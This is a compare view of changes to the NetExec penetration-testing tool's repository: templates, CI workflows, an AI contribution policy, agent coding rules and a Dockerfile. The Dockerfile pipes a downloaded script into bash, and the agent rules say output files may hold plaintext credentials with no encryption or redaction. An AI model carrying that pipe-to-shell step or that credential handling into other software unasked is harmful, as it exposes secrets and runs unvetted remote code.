51dfd5179a | ||
|
|
962a7ec45c | ||
|
|
ff531553ac | ||
|
|
614de0b75f | ||
|
|
c3c487600e | ||
|
|
2c12ab7202 | ||
|
|
379641e25c | ||
|
|
09ca4c91f4 | ||
|
|
65e6e8cf2e | ||
|
|
2164b4c699 | ||
|
|
ef7e97478e | ||
|
|
779f955f0f | ||
|
|
ded34e0de2 | ||
|
|
e53f1cf378 | ||
|
|
5c36c9859f | ||
|
|
15fb6a3d1f | ||
|
|
95ca5b437a | ||
|
|
7d3dd40912 | ||
|
|
263b1df2ae | ||
|
|
789edeb30a | ||
|
|
1280eaf0cb | ||
|
|
a3889b84f1 | ||
|
|
70cc90ad11 | ||
|
|
0befdd064c | ||
|
|
a4cf832e9d | ||
|
|
5cd7a6c7e8 | ||
|
|
0fe468f39b | ||
|
|
4714664abf | ||
|
|
c8430b661e | ||
|
|
1431481116 | ||
|
|
c15faf1623 | ||
|
|
b84d04a448 | ||
|
|
e75512a93c | ||
|
|
fb754166e4 | ||
|
|
dbc3bd335a | ||
|
|
c09376859e | ||
|
|
d1d700243b | ||
|
|
057872cc15 | ||
|
|
e6fe63475a | ||
|
|
073abc9652 | ||
|
|
abf9b34ad0 | ||
|
|
1319fb4fc4 | ||
|
|
3f38b5fc8c | ||
|
|
41b60eb3fc | ||
|
|
d76127cc09 | ||
|
|
698c32f73d | ||
|
|
a9e182770f | ||
|
|
b87f525d87 | ||
|
|
6a9f1212c1 | ||
|
|
500eaa7ca8 | ||
|
|
a689cd1459 | ||
|
|
c25640c997 | ||
|
|
69c1137a3b | ||
|
|
e18e69e563 | ||
|
|
ac80cc2a73 | ||
|
|
3bb35503ed | ||
|
|
d481f55a14 | ||
|
|
b0d34ad7fc | ||
|
|
2e0443ff8a | ||
|
|
e2539855a3 | ||
|
|
e08935d31a | ||
|
|
af56d9470c | ||
|
|
fb52fc6dc1 | ||
|
|
a2d4d9319a | ||
|
|
a219e092b8 | ||
|
|
01c7752522 | ||
|
|
9be36017b6 | ||
|
|
d1239445e7 | ||
|
|
137f70a84c | ||
|
|
c3c4edbe4e | ||
|
|
11458b07f0 | ||
|
|
c34d00651b | ||
|
|
7e0476d50b | ||
|
|
e721917b8e | ||
|
|
e9d17004d4 | ||
|
|
c11090e1e6 | ||
|
|
d7333e25d9 | ||
|
|
07f273f8c4 | ||
|
|
844af809d5 | ||
|
|
460c351228 | ||
|
|
fce0ed7ade | ||
|
|
7aa6c69039 | ||
|
|
9f906eaa93 | ||
|
|
07a0ae0aa9 | ||
|
|
4da19545f6 | ||
|
|
4992c454a3 | ||
|
|
92ac8be7da | ||
|
|
fcb3078476 | ||
|
|
f3da3dad00 | ||
|
|
ee945fa9b4 | ||
|
|
2cf004db4f | ||
|
|
770cb6ab7e | ||
|
|
07b4eba6e0 | ||
|
|
6030c49f54 | ||
|
|
86aac144b5 | ||
|
|
1b93d061d9 | ||
|
|
30a52aa84f | ||
|
|
7cdd1238a2 | ||
|
|
fda6b6a2f4 | ||
|
|
9829b08628 | ||
|
|
0391e813a7 | ||
|
|
6cf11e8338 | ||
|
|
d769bc9983 | ||
|
|
951ad25d95 | ||
|
|
dbfb0d8282 | ||
|
|
2ec56d1432 | ||
|
|
6c68d41612 | ||
|
|
6d5ce45422 | ||
|
|
6bee36f2af | ||
|
|
f7f343e0eb | ||
|
|
6a7871e57e | ||
|
|
c8849ea062 | ||
|
|
2b5968f2b6 | ||
|
|
31995e0c67 | ||
|
|
4f028ea9b8 | ||
|
|
4d8583e443 | ||
|
|
5d3955b6bc | ||
|
|
859553fb33 | ||
|
|
02b1361c85 | ||
|
|
b243ee8748 | ||
|
|
35c39c1c8e | ||
|
|
68367ef529 | ||
|
|
f335cd7654 | ||
|
|
94115123f6 | ||
|
|
9f9ed93e7f | ||
|
|
5c7888c416 | ||
|
|
b2a450916b | ||
|
|
c87d0c206b | ||
|
|
602498f09c | ||
|
|
413e5eb51a | ||
|
|
3209e523a5 | ||
|
|
7bda89661b | ||
|
|
abda35be65 | ||
|
|
7cd990f920 | ||
|
|
4d68843057 | ||
|
|
a12c6422ce | ||
|
|
196d9fa6d9 | ||
|
|
5efa2c3299 | ||
|
|
5b6d00ed90 | ||
|
|
5930d2d9af | ||
|
|
03c52432b5 | ||
|
|
6659976b25 | ||
|
|
e1f84377ac | ||
|
|
05492ff6a1 | ||
|
|
7ec74ddb05 | ||
|
|
9a12116be3 | ||
|
|
767e26e6e2 | ||
|
|
e56e97c578 | ||
|
|
7531bf62d5 | ||
|
|
81d07952b9 | ||
|
|
7fdca67833 | ||
|
|
171c79fde1 | ||
|
|
c19841398f | ||
|
|
a083405335 | ||
|
|
f3f27976cf | ||
|
|
887ecdd8a7 | ||
|
|
5f34e563b6 | ||
|
|
6aa7d6a114 | ||
|
|
bb36b6d5e6 | ||
|
|
362d373c21 | ||
|
|
a47431cbfd | ||
|
|
3ff6479795 | ||
|
|
cc09aefbb9 | ||
|
|
2e254396b5 | ||
|
|
8b2135a7b1 | ||
|
|
1452068944 | ||
|
|
9dc029847a | ||
|
|
9890316802 | ||
|
|
f3e161597d | ||
|
|
102213771f | ||
|
|
ba7d5223b8 | ||
|
|
6a2874e804 | ||
|
|
207b7da461 | ||
|
|
6dcbb02a02 | ||
|
|
6bf72192c4 | ||
|
|
5e9e06b1a1 | ||
|
|
17ef18edd0 | ||
|
|
0be367b8aa | ||
|
|
059d241727 | ||
|
|
f5dc9ea8c6 | ||
|
|
b35e1956af | ||
|
|
29ced36cde | ||
|
|
a517be8355 | ||
|
|
47b54c838e | ||
|
|
fad24dbb42 | ||
|
|
fd86652121 | ||
|
|
848da44f75 | ||
|
|
b7b454e725 | ||
|
|
b8dfb52802 | ||
|
|
981ad11b86 | ||
|
|
e993fbd0fc | ||
|
|
c1a0f140e1 | ||
|
|
23769d7755 | ||
|
|
bab540d734 | ||
|
|
3af68e3f9d | ||
|
|
9196c3216a | ||
|
|
c34c581b0f | ||
|
|
e61799ad9c | ||
|
|
26588a490e | ||
|
|
d016fb61fd | ||
|
|
61277c889b | ||
|
|
913a71314f | ||
|
|
15d100205b | ||
|
|
de4171e11e | ||
|
|
d80c8e0b45 | ||
|
|
02f4439680 | ||
|
|
c5db5478d1 | ||
|
|
8b6df3494a | ||
|
|
34066da22b | ||
|
|
54cadbd567 | ||
|
|
63e9e54e69 | ||
|
|
745de4908a | ||
|
|
170efd36e9 | ||
|
|
dc4030aad2 | ||
|
|
4440eb86d6 | ||
|
|
d51fc3f095 | ||
|
|
46c16213f9 | ||
|
|
8deb2f9924 | ||
|
|
0abadb062b | ||
|
|
ff1ce969f9 | ||
|
|
9668cbce36 | ||
|
|
bc712c84ef | ||
|
|
64cce9572f | ||
|
|
a1a1be66ae | ||
|
|
88997c33a8 | ||
|
|
bf202a23f1 | ||
|
|
d40a1c84d2 | ||
|
|
5fc5922bf2 | ||
|
|
41a9345927 | ||
|
|
ca7408fd4d | ||
|
|
95c11aa434 | ||
|
|
5f25e25d26 | ||
|
|
4c515414e2 | ||
|
|
dc00beab39 | ||
|
|
f16616eeb6 | ||
|
|
2e50996ae5 | ||
|
|
a3920da302 | ||
|
|
b8d5ede6f5 | ||
|
|
0e370152b8 | ||
|
|
038fe52e8c | ||
|
|
4174dd9313 | ||
|
|
f295dcf5f5 | ||
|
|
d6e8cad817 | ||
|
|
fb7ca1dac0 | ||
|
|
314c3675ef | ||
|
|
bc12c96492 | ||
|
|
7d08340d29 | ||
|
|
d814e2cc2c | ||
|
|
633cec1dc9 | ||
|
|
024ff0ab03 | ||
|
|
3ebec370ec | ||
|
|
bead78abae | ||
|
|
5e08f53b72 | ||
|
|
0517c70e0e | ||
|
|
bcf6b37eaf | ||
|
|
eb88dc5423 | ||
|
|
a4bdf2b174 | ||
|
|
2f63732f00 | ||
|
|
1520f3cbd4 | ||
|
|
768a401019 | ||
|
|
4255cab29d | ||
|
|
f386434ce5 | ||
|
|
67abbf8bf3 | ||
|
|
542452accb | ||
|
|
bde58c4e56 | ||
|
|
89233700b6 | ||
|
|
42538e4c89 | ||
|
|
52008c1b25 | ||
|
|
ae6721aa9a | ||
|
|
a42c664326 | ||
|
|
5782352622 | ||
|
|
1289a0e025 | ||
|
|
dc415e75e4 | ||
|
|
61e2e58e50 | ||
|
|
66e9927c3e | ||
|
|
31373e4cac | ||
|
|
f4ad70635a | ||
|
|
2c29856d92 | ||
|
|
b35cfe0671 | ||
|
|
351979375b | ||
|
|
7b1f60d83d | ||
|
|
4fcc4fdce4 | ||
|
|
7e23c1b318 | ||
|
|
4634473609 | ||
|
|
c2437b2b9b | ||
|
|
e551d3e006 | ||
|
|
bff20dff79 | ||
|
|
2e634750db | ||
|
|
f41f80d98f | ||
|
|
dc2a262598 | ||
|
|
a053462e8c | ||
|
|
619e477c1f | ||
|
|
fa3eba48df | ||
|
|
25ac2e2a2a | ||
|
|
8c37f34ace | ||
|
|
2f1bc026cc | ||
|
|
a25e26b38d | ||
|
|
4e6b978406 | ||
|
|
74f80e67ac | ||
|
|
4604d494f1 | ||
|
|
7371dea334 | ||
|
|
761da40463 | ||
|
|
fb51b53885 | ||
|
|
50d551df54 | ||
|
|
70a5e053fc | ||
|
|
4693d2118e | ||
|
|
cee469bd22 | ||
|
|
899c516a75 | ||
|
|
bc26a1b222 | ||
|
|
991673f095 | ||
|
|
e8830121e5 | ||
|
|
88e02f42cb | ||
|
|
c48ff38dbc | ||
|
|
efc143224b | ||
|
|
d2ffe24b15 | ||
|
|
57fdac1c93 | ||
|
|
2ebc410cb7 | ||
|
|
9aca9c246a |
No files matched your search
@@ -7,6 +7,10 @@ assignees: ''
|
||||
|
||||
---
|
||||
|
||||
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
|
||||
|
||||
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**NetExec info**
|
||||
- OS: [e.g. Kali]
|
||||
- Version of nxc: [e.g. v1.5.2]
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
|
||||
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
@@ -0,0 +1,8 @@
|
||||
blank_issues_enabled: false
|
||||
contact_links:
|
||||
- name: NetExec Wiki
|
||||
url: https://www.netexec.wiki/
|
||||
about: Check the wiki for usage guides and documentation before opening an issue.
|
||||
- name: NetExec Discord
|
||||
url: https://discord.com/invite/pjwUTQzg8R
|
||||
about: Join the Discord for general questions and community support.
|
||||
@@ -1,36 +1,40 @@
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
Please also include relevant motivation and context.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md
|
||||
|
||||
## Type of change
|
||||
Please delete options that are not relevant.
|
||||
Insert an "x" inside the brackets for relevant items (do not delete options)
|
||||
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
|
||||
- [ ] Deprecation of feature or functionality
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
|
||||
|
||||
## How Has This Been Tested?
|
||||
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
|
||||
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
|
||||
|
||||
If you are using poetry, you can easily run tests via:
|
||||
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
|
||||
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
|
||||
## Setup guide for the review
|
||||
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
|
||||
In particular:
|
||||
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
|
||||
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
|
||||
- Is additional software needed?
|
||||
- GPO changes required?
|
||||
- Specific registry settings that need to be changed?
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
If appropriate, include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
|
||||
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
|
||||
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
|
||||
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc)
|
||||
- [ ] I have performed a self-review of my own code (_not_ an AI review)
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
|
||||
@@ -9,8 +9,8 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.13"]
|
||||
os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest]
|
||||
python-version: ["3.14"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
@@ -20,14 +20,14 @@ jobs:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Native Binary
|
||||
run: |
|
||||
pip install pyinstaller
|
||||
pip install pyinstaller pillow
|
||||
pip install .
|
||||
pyinstaller netexec.spec
|
||||
- name: Upload Windows Binary
|
||||
if: runner.os == 'windows'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc.exe
|
||||
name: nxc-windows.exe
|
||||
path: dist/nxc.exe
|
||||
- name: Upload Nix/OSx Binary
|
||||
if: runner.os != 'windows'
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
|
||||
+10
-14
@@ -14,20 +14,16 @@ jobs:
|
||||
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
python-version: 3.13
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
enable-cache: true
|
||||
- name: Set up Python
|
||||
run: uv python install 3.14
|
||||
- name: Install project with dev group
|
||||
run: uv sync --dev
|
||||
- name: Run ruff
|
||||
run: |
|
||||
poetry run ruff --version
|
||||
poetry run ruff check . --preview
|
||||
uv run ruff --version
|
||||
uv run ruff check . --preview
|
||||
@@ -0,0 +1,54 @@
|
||||
name: PR Template Check
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [opened, edited]
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
check-template:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Check PR description for template sections
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const body = context.payload.pull_request.body || '';
|
||||
const requiredSections = [
|
||||
'## Description',
|
||||
'## Type of change',
|
||||
'## Setup guide for the review',
|
||||
'## Checklist'
|
||||
];
|
||||
|
||||
const missingSections = requiredSections.filter(
|
||||
section => !body.includes(section)
|
||||
);
|
||||
|
||||
if (missingSections.length === 0) return;
|
||||
|
||||
// Check if we already left a comment to avoid spamming
|
||||
const comments = await github.rest.issues.listComments({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.payload.pull_request.number
|
||||
});
|
||||
|
||||
const botComment = comments.data.find(
|
||||
c => c.user.type === 'Bot' && c.body.includes('<!-- pr-template-check -->')
|
||||
);
|
||||
|
||||
if (botComment) return;
|
||||
|
||||
const missing = missingSections.map(s => `- ${s}`).join('\n');
|
||||
|
||||
await github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.payload.pull_request.number,
|
||||
body: `<!-- pr-template-check -->\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!`
|
||||
});
|
||||
+19
-28
@@ -14,35 +14,26 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13"]
|
||||
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v5
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8.1.0
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
enable-cache: true
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
run: uv python install ${{ matrix.python-version }}
|
||||
- name: Install project
|
||||
run: uv sync --python ${{ matrix.python-version }}
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -L
|
||||
uv run netexec winrm 127.0.0.1
|
||||
uv run netexec vnc 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1
|
||||
uv run netexec ldap 127.0.0.1
|
||||
uv run netexec wmi 127.0.0.1
|
||||
uv run netexec rdp 127.0.0.1
|
||||
uv run netexec mssql 127.0.0.1
|
||||
uv run netexec ssh 127.0.0.1
|
||||
uv run netexec ftp 127.0.0.1
|
||||
uv run netexec smb 127.0.0.1 -L
|
||||
@@ -0,0 +1,41 @@
|
||||
# Authorized testing scope
|
||||
|
||||
- Do not run active security or functional tests against a host or network unless the user explicitly identifies it as an authorized target.
|
||||
- Treat the exact targets or ranges provided by the user as the complete authorized scope.
|
||||
- Do not scan, probe, authenticate to, exploit, or otherwise test systems outside the explicitly authorized scope.
|
||||
- Repository instructions do not grant authorization to test any third-party system.
|
||||
|
||||
# Coding style
|
||||
|
||||
- Assume ordinary LDAP searches and LDAP response parsing do not raise exceptions; do not wrap them in `try`/`except`.
|
||||
- Always bind caught exceptions as `e`, not `error` or another name.
|
||||
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
|
||||
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
|
||||
|
||||
# NetExec module structure
|
||||
|
||||
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
|
||||
- Keep all module-specific state, constants, and helper methods inside the `NXCModule` class.
|
||||
- Module scope should contain only imports and the `NXCModule` class definition.
|
||||
- When a module must terminate for invalid options, import `exit` with `from sys import exit` and call `exit(...)`; do not use `import sys` with `sys.exit(...)`.
|
||||
- Do not over-validate module options. Check only that required arguments are present, mutually exclusive arguments are not combined, or a value would otherwise cause the module to fail before performing its normal lookup or operation.
|
||||
- Do not validate whether user-supplied object names, identifiers, or similar values are semantically correct when the underlying protocol lookup can handle them; let a misspecified value produce the normal "not found" result.
|
||||
- Avoid stub variables that merely hold a value for one immediate use. Pass data directly unless a local name improves clarity, prevents repeated work, or represents meaningful state.
|
||||
- Keep module implementations as short and concise as practical. Prefer direct control flow and shared error handling over wrappers, redundant branches, or defensive boilerplate.
|
||||
- Do not optimize module code for line length; long lines are acceptable when they keep straightforward logic together.
|
||||
- Do not use `.warning()` logging in NetExec modules. Use `.fail()` when logic or an operation fails.
|
||||
- Run `ruff check .` after every coding session.
|
||||
|
||||
# Development and validation
|
||||
|
||||
- To verify that a module works, run the module's actual NetExec command instead of pytest or compilation checks.
|
||||
- Record every module-verification command in `tests/e2e_commands.txt`.
|
||||
- Do not run compilation checks.
|
||||
- Run Ruff after completing a coding session.
|
||||
|
||||
# Filesystem and source conventions
|
||||
|
||||
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
|
||||
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
|
||||
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
|
||||
- Place imports at the top of files unless explicitly instructed otherwise.
|
||||
@@ -0,0 +1,78 @@
|
||||
# AI Usage Policy
|
||||
|
||||
This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/).
|
||||
The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412).
|
||||
|
||||
The NetExec project has strict rules for AI usage:
|
||||
|
||||
- **All AI usage in any form must be disclosed.** You must state
|
||||
the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6,
|
||||
Codex 5.2, etc) along with the extent that the work was AI-assisted.
|
||||
|
||||
- **Pull requests created in any way by AI can only be for accepted issues.**
|
||||
Drive-by pull requests that do not reference an accepted issue may be
|
||||
rejected and closed. If AI isn't disclosed but a maintainer suspects its use,
|
||||
the PR may be rejected and closed. If you want to share code for a
|
||||
non-accepted issue, open a discussion or attach it to the existing issue.
|
||||
|
||||
- **Pull requests created by AI must have been fully verified with
|
||||
human use.** AI must not create hypothetically correct code that
|
||||
hasn't been tested. Importantly, you must not allow AI to write
|
||||
code for platforms or environments you don't have access to manually
|
||||
test on.
|
||||
|
||||
- **Issues and pull requests should be written by humans.**
|
||||
Communication should remain human, not AI, and should be clear and concise.
|
||||
AI is very good at being overly verbose and including noise that distracts
|
||||
from the main point. While it is fine to cite AI or include AI-generated
|
||||
content, the main content of your issue or pull request should be written
|
||||
by a human. Issues or pull requests that look like they are just the
|
||||
result of an AI prompt will likely be rejected and closed.
|
||||
|
||||
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
|
||||
Text and code are the only acceptable AI-generated content, per the
|
||||
other rules in this policy.
|
||||
|
||||
- **Bad AI drivers will be banned** You've been warned. We love to help junior
|
||||
developers learn and grow, but if you're interested in that then don't use
|
||||
AI, and we'll help you.
|
||||
|
||||
- **Official maintainers have the final say** We always strive to be helpful,
|
||||
but there are limits. If you submit agregiously terrible AI generated code
|
||||
with no review, we may ban you without word. We do not want to waste our
|
||||
time reviewing slop if the contributor can't be bothered to review the work
|
||||
themselves.
|
||||
|
||||
These rules apply only to outside contributions to NetExec. Maintainers
|
||||
and trusted contributors are exempt from these rules and may use AI tools at
|
||||
their discretion; they've proven themselves trustworthy to apply good judgment.
|
||||
|
||||
## There are Humans Here
|
||||
|
||||
Please remember that NetExec is maintained by humans.
|
||||
|
||||
Every discussion, issue, and pull request is read and reviewed by
|
||||
humans (and sometimes machines, too). It is a boundary point at which
|
||||
people interact with each other and the work done. It is rude and
|
||||
disrespectful to approach this boundary with low-effort, unqualified
|
||||
work, since it puts the burden of validation on the maintainers.
|
||||
|
||||
In a perfect world, AI would produce high-quality, accurate work
|
||||
every time, but today that is simply not true. This is compounded by the fact
|
||||
that accessibility to AI is high, allowing low skilled individuals to think
|
||||
that they are contributing useful code. Even many skilled programmers do not
|
||||
understand how to use it effectively. This has opened up a waterfall of low
|
||||
quality contributions across the Open Source community, wasting resources.
|
||||
|
||||
## AI is Welcome Here, Within Reason
|
||||
|
||||
NetExec maintainers acknowledge AI as a productive tool to some workflows, and
|
||||
are open to leveraging this technology to improve NetExec; however, there are
|
||||
many low quality AI tools whose use results in pure slop being generated. The
|
||||
security communinity is not immune from AI psychosis, over-hype, or FOMO.
|
||||
As with any new technology, it is important to understand how it works and how
|
||||
to best use it, not blindly apply it to every use case with the hope that it
|
||||
will fix all your issues.
|
||||
|
||||
We include this section to be transparent about the project's usage about
|
||||
AI for people who may disagree with it.
|
||||
+36
-13
@@ -1,4 +1,32 @@
|
||||
FROM python:3.11-slim
|
||||
FROM python:3.13-slim-bookworm AS builder
|
||||
ENV LANG=C.UTF-8
|
||||
ENV LC_ALL=C.UTF-8
|
||||
ENV PIP_NO_CACHE_DIR=off
|
||||
|
||||
WORKDIR /usr/src/netexec
|
||||
|
||||
RUN apt update && \
|
||||
apt install -y --no-install-recommends \
|
||||
libffi-dev \
|
||||
libxml2-dev \
|
||||
libxslt-dev \
|
||||
libssl-dev \
|
||||
openssl \
|
||||
autoconf \
|
||||
g++ \
|
||||
python3-dev \
|
||||
curl \
|
||||
git \
|
||||
unzip \
|
||||
&& apt clean && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
|
||||
&& pip install .
|
||||
|
||||
FROM python:3.13-slim-bookworm
|
||||
|
||||
ENV LANG=C.UTF-8
|
||||
ENV LC_ALL=C.UTF-8
|
||||
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
|
||||
|
||||
WORKDIR /usr/src/netexec
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
|
||||
RUN apt-get update
|
||||
# Get Rust
|
||||
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
|
||||
# Add .cargo/bin to PATH
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
# Check cargo is visible
|
||||
RUN cargo --help
|
||||
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
|
||||
COPY --from=builder /usr/local/bin /usr/local/bin
|
||||
|
||||
COPY . .
|
||||
RUN pip install .
|
||||
RUN apt update && \
|
||||
apt install -y --no-install-recommends \
|
||||
openssl \
|
||||
&& apt clean && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
ENTRYPOINT [ "nxc" ]
|
||||
ENTRYPOINT ["nxc"]
|
||||
@@ -63,3 +63,6 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/NeffIsBack)
|
||||
[](https://github.com/Hackndo)
|
||||
[](https://github.com/XiaoliChan)
|
||||
[](https://github.com/termanix)
|
||||
[](https://github.com/Dfte)
|
||||
[](https://github.com/azoxlpf)
|
||||
+9
-2
@@ -19,6 +19,10 @@ a = Analysis(
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'certihound',
|
||||
'certipy.commands.find',
|
||||
